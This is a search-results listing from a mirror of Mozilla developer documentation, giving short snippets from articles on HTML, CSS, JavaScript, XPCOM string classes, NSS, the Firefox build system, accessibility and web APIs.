...you need to think about: different browsers other than the one or two that you use regularly on your devices, including slightly older browsers that some people might still be using, which don't support all the latest, shiniest css and javascript features.
... different devices with different capabilities, from the latest greatest tablets and smartphones, through smart tvs, right down to cheap tablets and even older feature phones that may run browsers with limited capabilities.
...And 39 more matches
Debugging on Windows
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on windows using the visual c++ ide.
... if vc++ and your mozilla application hang shortly after you launch the application under the debugger, see problems loading debug symbols.
... ways to start the debugger first of all, it's necessary to install a visual studio extension to be able to follow child processes as they are created.
...And 39 more matches
Configuring Build Options
note: do not make substantive changes to this document without consulting benjamin smedberg <benjamin@smedbergs.us> or one of the build-config peersthis document details how to configure firefox builds.
... using a mozconfig configuration file the choice of which mozilla application to build and other configuration options can be configured in a mozconfig file.
... create a blank mozconfig file: echo "# my first mozilla config" > mozconfig if your mozconfig isn't in your source directory, you can also use the mozconfig environment variable to specify the path to your mozconfig.
...And 39 more matches
Displaying Places information using views
see querying places for information about obtaining and using nsinavhistoryresult objects, which this page assumes you are familiar with.
... the built-in views if you need to show the contents of bookmarks or history in your extension or application, you may want to use the built-in places views, which are generic and will save you a lot of time writing basic functionality so that you can focus on building your extension or application.
... every xul document containing a built-in view must import the stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's this stylesheet that binds elements with the special type attribute to one of the views.
...And 39 more matches
Creating the Component Code
« previousnext » this chapter goes over the basic code required to handle the relationship between your component and xpcom.
... having the component found and registered properly is the goal of this first chapter of the tutorial.
... in the subsequent chapters, we can begin to work on the example weblock component functionality itself.
...And 39 more matches
Introduction to XPCOM for the DOM
the numerous macros and facilities brought by the dom, as well as nscomptr's, make our life much easier.
... in this chapter i will attempt to cover the most widespread use of xpcom in the dom, avoiding the details as much as possible.
...such a class is called an interface.
...And 39 more matches
Populating the page: how browsers work - Web Performance
therefore, a developer should strive to achieve these two goals.
...for smooth interactions, the developer's goal is to ensure performant site interactions, from smooth scrolling to being responsive to touch.
...in ideal conditions, this usually doesn't take too long, but latency and bandwidth are foes which can cause delays.
...And 39 more matches
Getting started with HTML - Learn web development
html consists of a series of elements, which you use to enclose, wrap, or mark up different parts of content to make it appear or act in a certain way.
...see your changes update live in the output area.
... playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"> this is my text.
...And 38 more matches
What’s in the head? Metadata in HTML - Learn web development
it contains information such as the page <title>, links to css (if you choose to style your html content with css), links to custom favicons, and other metadata (data about the html, such as the author, and important keywords that describe the document.) in this article we'll cover all of the above and more, in order to give you a good basis for working with markup.
... let's revisit the simple html document we covered in the previous article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>this is my page</p> </body> </html> the html head is the contents of the <head> element — unlike the contents of the <body> element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page.
...in the above example, the head is quite small: <head> <meta charset="utf-8"> <title>my test page</title> </head> in larger pages however, the head can get quite full.
...And 38 more matches
Introduction to web APIs - Learn web development
in the same way, if you want to say, program some 3d graphics, it is a lot easier to do it using an api written in a higher-level language such as javascript or python, rather than try to directly write low level code (say c or c++) that directly controls the computer's gpu or other graphics functions.
...note that javascript is also available in other programming environments, such as node.
... javascript libraries — usually one or more javascript files containing custom functions that you can attach to your web page to speed up or enable writing common functionality.
...And 38 more matches
Software accessibility: Where are we today?
this article reviews the progress and technology as it has developed.
...many, including those who were blind or physically disabled, were unable to use applications which were written for microsoft operating systems.
...in answer to this problem, many small accessibility hardware and software vendors created products and software which helped people who could not perform one of the four basic tasks to use common computer applications.
...And 38 more matches
DMD
in this mode, dmd tracks the contents of the heap, including which heap blocks have been reported by memory reporters.
...originally, this was the only mode that dmd had, which explains dmd's name.
...this is good for understanding how memory is used at an interesting point in time, such as peak memory usage.
...And 38 more matches
sslerr.html
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference nss and ssl error codes chapter 8 nss and ssl error codes nss error codes are retrieved using the nspr function pr_geterror.
... in addition to the error codes defined by nspr, pr_geterror retrieves the error codes described in this chapter.
...And 38 more matches
nsDependentString
class declaration nstdependentstring_chart stores a null-terminated, immutable sequence of characters.
... subclass of nststring that restricts string value to an immutable character sequence.
...method overview constructors assertvalid rebind operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar ...
...And 38 more matches
nsIXULTemplateBuilder
the nsitemplatebuilder interface controls the display of elements using a xul template element and is automatically attached to an element containing a datasources attribute.
... a template builder, given an input source of data, a template, and a reference point, generates a list of results from the input, and copies part of the template for each result.
...as an example, for an xml data source the initial reference point would be a specific node in the dom tree and a template might generate a list of all child nodes.
...And 38 more matches
Web Console remoting - Firefox Developer Tools
the web console is split between a client with its user interface, and the server which has listeners for all the things that happen in the tab.
...this architecture allows you to connect a web console client instance to a server running on b2g, fennec or some other firefox instance.
... to better understand the architecture of the web console we recommend learning about the debugger architecture.
...And 38 more matches
Lighting a WebXR setting - Web APIs
because the webxr device api relies on other technologies—namely, webgl and frameworks based upon it—to perform all rendering, texturing, and lighting of a scene, the same general lighting concepts apply to webxr settings or scenes as to any other webgl-generated display.
...fundamentally, simulating lighting in a virtual scene involves computing how much light from each light source is received by the eye after interacting with and reflecting off of each object in the scene.
...this is the foundation for much of what's involved in shading a scene, and comes into play in terms of how different types of light source behave.
...And 38 more matches
Example and tutorial: Simple synth keyboard - Web APIs
the keyboard allows you to switch among the standard waveforms as well as one custom waveform, and you can control the master gain using a volume slider beneath the keyboard.
... because oscillatornode is based on audioscheduledsourcenode, this is to some extent an example for that as well.
...we will be programmatically constructing the keyboard, because doing so gives us the flexibility to configure each key as we determine the appropriate data for the corresponding note.
...And 38 more matches
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
the <textarea> element also accepts several attributes common to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required.
... autocapitalize this is a non-standard attribute supported by webkit on ios (therefore nearly all browsers running on ios, including safari, firefox, and chrome), which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user.
... characters: automatically capitalize all characters.
...And 38 more matches
An overview of HTTP - HTTP
WebHTTPOverview
http is a protocol which allows the fetching of resources, such as html documents.
... it is the foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser.
... a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more.
...And 38 more matches
Understanding WebAssembly text format - WebAssembly
each node in the tree goes inside a pair of parentheses — ( ...
... the first label inside the parenthesis tells you what type of node it is, and after that there is a space-separated list of either attributes or child nodes.
... so that means the webassembly s-expression: (module (memory 1) (func)) represents a tree with the root node “module” and two child nodes, a "memory" node with the attribute "1" and a "func" node.
...And 38 more matches
Mobile accessibility - Learn web development
previous overview: accessibility next with web access on mobile devices being so popular and renowned platforms such as ios and android having full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms.
...long gone are the days when mobile devices ran completely different web technologies to desktop browsers, forcing developers to use browser sniffing and serve them completely separate sites (although quite a few companies still detect usage of mobile devices and serve them a separate mobile domain).
... there are some exceptions that need special consideration for mobile; the main ones are: control mechanisms — make sure interface controls such as buttons are accessible on mobiles (i.e., mainly touchscreen), as well as desktops/laptops (mainly mouse/keyboard).
...And 37 more matches
The web and web standards - Learn web development
this article provides some useful background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
... brief history of the web we'll keep this very brief, as there are many (more) detailed accounts of the web's history out there, which we'll link to later on (also try searching for "history of the web" in your favorite search engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a communication network called arpanet.
... this can be considered a forerunner of the web, as it worked on packet switching, and featured the first implementation of the tcp/ip protocol suite.
...And 37 more matches
Creating our first Vue component - Learn web development
previous overview: client-side javascript frameworks next now it's time to dive deeper into vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list.
... along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props, and saving data state.
... note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository.
...And 37 more matches
Error codes returned by Mozilla APIs
each error is listed by its name and an error code in parentheses.
... an error will typically be displayed on the error console, but can be captured using a try-catch block in javascript.
... ns_error_not_initialized (0xc1f30001) an attempt was made to use a component or object which has not yet been initialized.
...And 37 more matches
Gecko Keypress Event
gecko 1.9 key handling changed significantly after beta 5 (bug 359638, bug 429510 and the bugs on which they depend).
... the changes were risky so late in the release schedule, but they were necessary for fixing the many key handling bugs.
... charcode of dom keypress event if a keypress event is fired without any modifier keys (ctrl/alt(option)/meta(win/command)), then the properties of the event are the same as they were in gecko1.8.1.
...And 37 more matches
Building the WebLock UI
in this chapter, however, we are going to be building a user interface for the weblock component that's meant to be added to the existing mozilla browser[other-mozlike-browsers].
... it uses xul, which is an xml language that gecko knows how to render as user interface, but it also interacts with particular parts of the mozilla user interface, where it must install itself as an extension to the ui.
... specifically, the user interface we create in this chapter will be overlaid into the statusbar of the browser component, where it will provide a small icon the user can click to access the web lock interface.
...And 37 more matches
nsAutoString
class declaration nstautostring_chart subclass of nststring_chart that adds support for stack-based string allocation.
... it is normally not a good idea to use this class on the heap, because it will allocate space which may be wasted if the string it contains is significantly smaller or any larger than 64 characters.
... names: nsautostring for wide characters nscautostring for narrow characters method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(...
...And 37 more matches
nsCAutoString
class declaration nstautostring_chart subclass of nststring_chart that adds support for stack-based string allocation.
... it is normally not a good idea to use this class on the heap, because it will allocate space which may be wasted if the string it contains is significantly smaller or any larger than 64 characters.
... names: nsautostring for wide characters nscautostring for narrow characters method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated chara...
...And 37 more matches
IAccessibleTable
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) typically all accessible objects that represent cells or cell-clusters of a table will be at the same time children of the table.
... in this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex().
...when the table cells are not direct children of a table, the object representing the cell can define a "table-cell-index" object attribute identifying the 0 based table cell index.
...And 37 more matches
nsIAccessibleText
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void addselection(in long startoffset, in long endoffset); nsiaccessible getattributerange(in long offset, out long rangestartoffset, out long rangeendoffset); obsolete since gecko 1.9.1 wchar getcharacteratoffset(in long offset); void getcharacterextents(in long offset, out long x, out long y, out long width, out long height, in unsigned long coordtype); long getoffsetatpoint(in long x, in long y, in unsigned long coordtype); void getrangeextents(in long startoffset, in long endoffset, out long x, out long y, out long width, out long height, in unsigned long c...
... charactercount long read only.
... text boundary constants constant value description boundary_char 0 boundary_word_start 1 boundary_word_end 2 boundary_sentence_start 3 do not use in new code.
...And 37 more matches
XPIDL
interface description languages (idl) are used to describe interfaces in a language- and machine-independent way.
... idls make it possible to define interfaces which can then be processed by tools to autogenerate language-dependent interface specifications.
... note: starting in gecko 9.0, the older xpidl utility, which was previously used to generate c++ header files, typelib information, and so forth has been replaced with pyxpidl in the gecko sdk.
...And 37 more matches
Applying styles and colors - Web APIs
« previousnext » in the chapter about drawing shapes, we used only the default line and fill styles.
...each of the following examples describe the same color.
... // these all set the fillstyle to 'orange' ctx.fillstyle = 'orange'; ctx.fillstyle = '#ffa500'; ctx.fillstyle = 'rgb(255, 165, 0)'; ctx.fillstyle = 'rgba(255, 165, 0, 1)'; a fillstyle example in this example, we once again use two for loops to draw a grid of rectangles, each in a different color.
...And 37 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
// creates a table row var row = document.createelement("tr"); for (var j = 0; j < 2; j++) { // create a <td> element and a text node, make the text // node the contents of the <td>, and put the <td> at // the end of the table row var cell = document.createelement("td"); var celltext = document.createtextnode("cell in row "+i+", column "+j); cell.appendchild(celltext); row.appendchild(cell); } // add the row to the end of the table body tblbody.appendchild(row); } // put the <tbody> in the <table> tbl.appendchild(tblbody); // appends <table> into <body> body.appendchild(tbl); // sets the border attribute of tbl to 2; tbl.setattribute("border", "2"); } note the order in which we created the elements and the text...
... next, we created the <tbody> element, which is a child of the <table> element.
... next, we used a loop to create the <tr> elements, which are children of the <tbody> element.
...And 37 more matches
Pointer events - Web APIs
much of today's web content assumes the user's pointing device will be a mouse.
... however, since many devices support other types of pointing input devices, such as pen/stylus and touch surfaces, extensions to the existing pointing device event models are needed.
...they are designed to create a single dom event model to handle pointing input devices such as a mouse, pen/stylus or touch (such as one or more fingers).
...And 37 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
at the surface, the subject seems simple, but it is actually a complex subject because color is as much about the physiology of the eye and human perception as it is about light emitting from a computer screen.
... luckily, css media queries level 5 will be a game-changer in accessibility initiatives, because it will allow users to select settings that accomodate their needs best.
... for example, "saturation" is known as "chroma" in some circles.
...And 37 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
to provide additional control over how cells fit into (or span across) columns, both <th> and <td> support the colspan attribute, which lets you specify how many columns wide the cell should be, with the default being 1.
...there are also several deprecated attributes, which you should avoid but may need to know when reading older code.
... alignobsolete since html5 a domstring which specifies how the cell's context should be aligned horizontally within the cells in the row; this is shorthand for using align on every cell in the row individually.
...And 37 more matches
Grammar and types - JavaScript
« previousnext » this chapter discusses javascript's basic grammar, variable declarations, data types and literals.
... javascript is case-sensitive and uses the unicode character set.
... for example, the word früh (which means "early" in german) could be used as a variable name.
...And 37 more matches
CSS and JavaScript accessibility best practices - Learn web development
the rule of thumb is that you can update the styling of a page feature to fit in your design, but don't change it so much that it no longer looks or behaves as expected.
...the standard conventions of bold and italic text are very recognisable, and changing the style can cause confusion.
...in addition, the mouse pointer changes to a pointer icon when links are moused over, and the link receives a highlight when focused (e.g.
...And 36 more matches
Basic native form controls - Learn web development
this article covers: the common input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text.
... note: the features discussed in this article are supported in all browsers, which is not the case for all form controls.
...this means that you cannot use them to perform rich editing (bold, italic, etc.).
...And 36 more matches
Arrays - Learn web development
array objects can be stored in variables and dealt with in much the same way as any other type of value, the difference being that we can access each value inside the list individually, and do super useful and efficient things with the list, like loop through it and do the same thing to every value.
... if we didn't have arrays, we'd have to store every item in a separate variable, then call the code that does the printing and adding separately for each item.
... this would be much longer to write out, less efficient, and more error-prone.
...And 36 more matches
Getting started with Svelte - Learn web development
svelte: a new approach to building rich user interfaces svelte provides a different approach to building web apps than some of the other frameworks covered in this module.
... the outcome of this approach is not only smaller application bundles and better performance, but also a developer experience that is more approachable for people that have limited experience of the modern tooling ecosystem.
...you can either start from scratch letting svelte drive your ui or you can incrementally integrate it into an existing application.
...And 36 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
to prove it, go to that array, and try changing some of the todo object's completed property values, and even add a new todo object.
...we want to iterate over each item in our todos array and render the markup for each task, so let's do that now.
...in this case we use the {#each...} directive to iterate over the todos array.
...And 36 more matches
How Mozilla's build system works
the contents below will explain the basic concepts and terminology of the build system and how to do common tasks such as compiling components and creating jar files.
... for many developers, typing mach build to build the tree is sufficient to work with the source tree.
... phases when you type mach build to build the tree, three high-level phases occur within the build system: system detection and validation preparation of the build backend invocation of the build backend phase 1: configure phase 1 centers around the configure script.
...And 36 more matches
Eclipse CDT Manual Setup
mach setup most people should be reading the eclipse cdt page instead of this one, now that mach ide eclipse is a thing.
...there is valuable information here that should be integrated back into that page, but a large amount of it is now taken care of by the mach project generation code.
... for now it's stored here until that integration happens in order that the eclipse cdt page isn't hugely cluttered with mostly redundant information, make setting up eclipse look much more complicated than it is nowadays.
...And 36 more matches
Creating localizable web applications
in some cases, the code snippets were slightly changed to better illustrate the recommendations or for clarity.
... cheatsheet don't hardcode english text, formats (numbers, dates, addresses, etc.), word order or sentence structure.
...you can use one or more of the following techniques: http accept-language headers, the ua string, ip geolocation.
...And 36 more matches
MathML Torture Test
ion> <option value="latinmodern">latin modern</option> <option value="libertinus">libertinus</option> <option value="lucidabright">lucida bright</option> <option value="minion">minion</option> <option value="stixtwo">stix two</option> <option value="texgyrebonum">tex gyre bonum</option> <option value="texgyrepagella">tex gyre pagella</option> <option value="texgyreschola">tex gyre schola</option> <option value="texgyretermes">tex gyre termes</option> <option value="xits">xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="...
... <mi>i</mi> <mo>&leq;</mo> <mi>m</mi> </mrow> <mrow> <mn>0</mn> <mo>&lt;</mo> <mi>j</mi> <mo>&lt;</mo> <mi>n</mi> </mrow> </mfrac> </mrow> </munder> <mi>p</mi> <mo stretchy="false">(</mo> <mi>i</mi> <mo>,</mo> <mi>j</mi> <mo stretchy="false">)</mo> </mrow> </math> </td></tr> <tr> <td>11</td> <td><img src="https://udn.realityripple.com/samples/17/0564f346b7.png" width="27" height="18" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi...
... </msup> <mrow> <mo>&part;</mo> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </mfrac> <mo>)</mo> </mrow> <msup> <mrow> <mo minsize="150%">|</mo> <mi>&#x3c6; <!-- \varphi --></mi> <mo stretchy="false">(</mo> <mi>x</mi> <mo>+</mo> <mi mathvariant="normal">i</mi> <mi>y</mi> <mo stretchy="false">)</mo> <mo minsize="150%">|</mo> </mrow> <mn>2</mn> </msup> <mo>=</mo> <mn>0</mn> </mrow> </math> </td></tr> <tr> <td>15</td> <td><im...
...And 36 more matches
Enc Dec MAC Output Public Key as CSR
*/ #ifndef port_errortostring #ifndef sec_error_base #define sec_error_base (-0x2000) #define port_errortostring(err) pr_errortostring((err), pr_language_i_default) #endif #endif /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -s -r -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'g' for generating rsa keypair for wrapping\n\n", "g"); fprintf(stderr, "%-20s specify 'e' for encrypt operation\n\n", "e"); fprintf(stderr, "%-20s specify 'd' for decrypt operation\n\n", ...
...te :"); fprintf(stderr, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* map option letter enumerated commad type */ static commandtype option2command(const char* c) { switch (*c) { case 'g': return gen_csr; case 'e': return encrypt; case 'd': return decrypt; default: return unknown; } } /* * wrap the symkey using public key */ secstatus wrapkey(pk11symkey* key, seckeypublickey *pubkey, secitem **wrappedkey) { secstatus rv; secitem *data = (secitem *)port_zalloc(sizeof(secitem)); if (!data) { pr_fprintf(p...
...r_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } data->len = seckey_publickeystrength(pubkey); data->data = (unsigned char*)port_zalloc((data->len)*sizeof(unsigned int)); if (!data->data) { pr_fprintf(pr_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } rv = pk11_pubwrapsymkey(ckm_rsa_pkcs, pubkey, key, data); if (rv != secsuccess) { rv = secfailure; } else { *wrappedkey = data; return secsuccess; } cleanup: if (data) { secitem_freeitem(data, pr_true); } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem...
...And 36 more matches
nsAdoptingString
class declaration nstadoptingstring extends nstxpidlstring such that: (1) adopt given string on construction or assignment, i.e.
...method overview constructors operator= operator const prunichar* operator[] get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equals...
...literal(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsxpidlstring data members no public members.
...And 36 more matches
nsString
names: nsstring for wide characters nscstring for narrow characters this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string.
... method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii ass...
...ignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsastring_internal data members no public members.
...And 36 more matches
nsXPIDLString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
... names: nsxpidlstring for wide characters nsxpidlcstring for narrow characters method overview constructors operator const prunichar* operator[] operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsa...
...scii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
...And 36 more matches
mozIStorageConnection
storage/public/mozistorageconnection.idlscriptable this interface represents a database connection attached to a specific file or an in-memory database.
... 1.0 68 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage.
...uments, in mozistorageaggregatefunction afunction); mozistorageasyncstatement createasyncstatement(in autf8string asqlstatement); void createfunction(in autf8string afunctionname, in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatement(in autf8string asqlstatement); void createtable(in string atablename, in string atableschema); mozistoragependingstatement executeasync([array, size_is(anumstatements)] in mozistoragebasestatement astatements, in unsigned long anumstatements, [optional] in mozistoragestatementcallback acallback ); void executesimplesql(in autf8string asqlstatement); boolean indexexists(in autf8string aindexname); void preload(); obsolete since gecko 1.9 vo...
...And 36 more matches
Examine and edit CSS - Firefox Developer Tools
examine css rules the rules view lists all the rules that apply to the selected element, ordered from most-specific to least-specific: the four buttons on the right top of the rules view allow you to change the display of certain css and rules view features.
... you can: toggle pseudo-classes; toggle classes; add a new rule; change the display based on the color scheme preference (as of firefox 72, you must set devtools.inspector.color-scheme-simulation.enabled to true in the configuration editor to enable this feature); change the display based on print media rules.
...in the following example, a spelling error, "background-colour" instead of "background-color" has made the rule invalid: rule display it displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.
...And 36 more matches
Using files from web applications - Web APIs
using the file api, which was added to the dom in html5, it's now possible for web content to ask the user to select local files and then read the contents of those files.
... if you want to use the dom file api from extensions or other browser chrome code, you can; however, note there are some additional features to be aware of.
... see using the dom file api in chrome code for details.
...And 36 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
when debugging or, possibly, when trying to decide upon the best approach to solving a problem around timing and scheduling of tasks and microtasks, there are things about how the javascript runtime operates under the hood that may be useful to understand.
...it was designed in an era in which this was a positive choice; there were few multi-processor computers available to the general public, and the expected amount of code that would be handled by javascript was relatively low at that time.
... starting with the addition of timeouts and intervals as part of the web api (settimeout() and setinterval()), the javascript environment provided by web browsers has gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth.
...And 36 more matches
Streams API concepts - Web APIs
examples include a file access operation via a fetch or xhr call.
... the data is read sequentially in small pieces called chunks.
... a chunk can be a single byte, or it can be something larger such as a typed array of a certain size.
...And 36 more matches
Web accessibility for seizures and physical reactions - Accessibility
web technologies that use video, animated gifs, animated pngs, animated svgs, canvas, and css or javascript animations are all capable of content that can induce seizures or other incapacitating physical reactions.
... the fact that static images may cause seizures and other disorders is documented in such articles as “gamma oscillations and photosensitive epilepsy”, where it is noted “certain visual images, even in the absence of motion or flicker, can trigger seizures in patients with photosensitive epilepsy” the epilepsy foundation, in its article, "shedding light on photosensitivity, one of epilepsy's most complex conditions" talks about static images and patterns.
..."a pattern with the potential for provoking seizures contains clearly discernible stripes, numbering more than five light-dark pairs of stripes in any orientation" in addition to stripes, checkered patterns have also been known to cause photosensitive seizures, according to cedars-sinai.
...And 36 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
the control's ui varies in general from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop and most modern versions of mobile browsers having usable implementations.
...in other words, an implementation should allow any valid combination of year, month, day, hour, and minute - even if such a combination is invalid in the user's local time zone (such as times within a daylight saving time spring-forward transition gap).
...another option is to use separate date and time inputs, each of which is more widely supported than datetime-local.
...And 36 more matches
MIME types (IANA media types) - HTTP
structure of a mime type the simplest mime type consists of a type and a subtype; these are each strings which, when concatenated with a slash (/) between them, comprise a mime type.
... no whitespace is allowed in a mime type: type/subtype the type represents the general category into which the data type falls, such as video or text.
... each type has its own set of possible subtypes, and a mime type always has both a type and a subtype, never just one or the other.
...And 36 more matches
The box model - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the css box model, what makes up the box model and how to switch to the alternate model.
...these characteristics refer to how the box behaves in terms of page flow, and in relation to other boxes on the page: if a box is defined as a block, it will behave in the following ways: the box will break onto a new line.
... padding, margin and border will cause other elements to be pushed away from the box unless we decide to change the display type to inline, elements such as headings (e.g.
...And 35 more matches
What is JavaScript? - Learn web development
in this article we will look at javascript from a high level, answering questions such as "what is it?" and "what can you do with it?", and making sure you are comfortable with javascript's purpose.
...it is the third layer of the layer cake of standard web technologies, two of which (html and css) we have covered in much more detail in other parts of the learning area.
... javascript is a scripting language that enables you to create dynamically updating content, control multimedia, animate images, and pretty much everything else.
...And 35 more matches
Object prototypes - Learn web development
previous overview: objects next prototypes are the mechanism by which javascript objects inherit features from one another.
... in this article, we explain how prototype chains work and look at how the prototype property can be used to add methods to existing constructors.
...in the next article, we talk about the modern way of doing things, which provides easier syntax to achieve the same things — see ecmascript 2015 classes.
...And 35 more matches
Framework main features - Learn web development
previous overview: client-side javascript frameworks next each major javascript framework has a different approach to updating the dom, handling browser events, and providing an enjoyable developer experience.
... jsx jsx, which stands for javascript and xml, is an extension of javascript that brings html-like syntax to a javascript environment.
...for instance, consider a function add(), which takes integers a and b and returns their sum.
...And 35 more matches
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
nss searches all the installed pkcs #11 modules when looking for certificates.
... nss typically holds one session read-only session per slot, in which some of the non-multipart functions are handled.
... multipart functions, such as bulk encryption, hashing, and mac functions (for example, c_digest and c_sign) and those that require overlapped operation (c_unwrap, c_decrypt) are handled by creating new sessions.
...And 35 more matches
NS_ConvertASCIItoUTF16
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsautostring data members no public members.
... methods constructors void ns_convertasciitoutf16(const char*) - source parameters char* acstring void ns_convertasciitoutf16(const char*, pruint32) - source parameters char* acstring pruint32 alength void ns_convertasciitoutf16(const nsacstring_internal&) - source parameters nsacstring_internal& acstring operator= nsautostring& operator=(const nsautostring&) - source parameters nsautostring& str nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_intern...
...And 35 more matches
NS_ConvertUTF8toUTF16
